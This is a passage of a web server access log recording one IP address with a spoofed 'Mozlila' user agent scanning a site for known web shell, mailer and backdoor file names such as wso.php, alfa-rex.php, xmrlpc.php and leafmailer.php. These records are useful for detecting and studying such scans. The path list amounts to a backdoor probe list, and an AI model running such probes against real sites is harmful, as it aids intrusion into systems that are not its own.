/wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:22 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:24 -0400] "GET /repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:26 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:30 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:31 -0400] "GET /wp-content/wp-atom.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:31 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:33 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:35 -0400] "GET /wp-admin/wp-atom.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:36 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:38 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:42 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:45 -0400] "GET /bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:47 -0400] "GET /ws.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:47 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:49 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:50 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:52 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:52 -0400] "GET /shell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:54 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:54 -0400] "GET /shells.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:56 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:57 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:58 -0400] "GET /fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:09:59 -0400] "GET /style.php?sig=update&domain=51.79.124.111 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:01 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:03 -0400] "GET /wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:04 -0400] "GET /well.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:04 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:06 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:09 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:12 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:13 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:16 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:18 -0400] "GET /wp-includes/wso.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:22 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:22 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:24 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:24 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:25 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:26 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:28 -0400] "GET /wp-admin/includes/class.api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:30 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:34 -0400] "GET /class.api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:38 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:40 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:41 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:42 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:44 -0400] "GET /site/rindex.php?action=add HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:45 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:48 -0400] "GET /wp/rindex.php?action=add HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:48 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:50 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:51 -0400] "GET /blog/rindex.php?action=add HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:52 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:54 -0400] "GET /rindex.php?action=add HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:56 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:10:57 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:00 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:00 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:01 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:03 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:06 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:08 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:10 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:10 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:15 -0400] "GET /wp-admin/wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:19 -0400] "GET /403.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:20 -0400] "GET /wp-admin/wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:21 -0400] "GET /wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:22 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:23 -0400] "GET /wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:25 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:25 -0400] "GET /wp-includes/images/wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:26 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:28 -0400] "GET /wp-includes/images/wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:31 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:33 -0400] "GET /wp-includes/wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:42 -0400] "GET /wp-includes/wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:48 -0400] "GET /wp-content/wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:52 -0400] "GET /wp-content/wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:54 -0400] "GET /wp-includes/fonts/wp-1ogin_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:11:58 -0400] "GET /wp-includes/fonts/wpconfig_bak.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:04 -0400] "GET /Panels.txt HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:09 -0400] "GET /wp-content/Panels.txt HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:12 -0400] "GET /wp-includes/Panels.txt HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:23 -0400] "GET /wp-admin/Panels.txt HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:26 -0400] "GET /.well-known/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:38 -0400] "GET /.well-known/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:42 -0400] "GET /.well-known/leafmailer2.8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:43 -0400] "GET /leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - 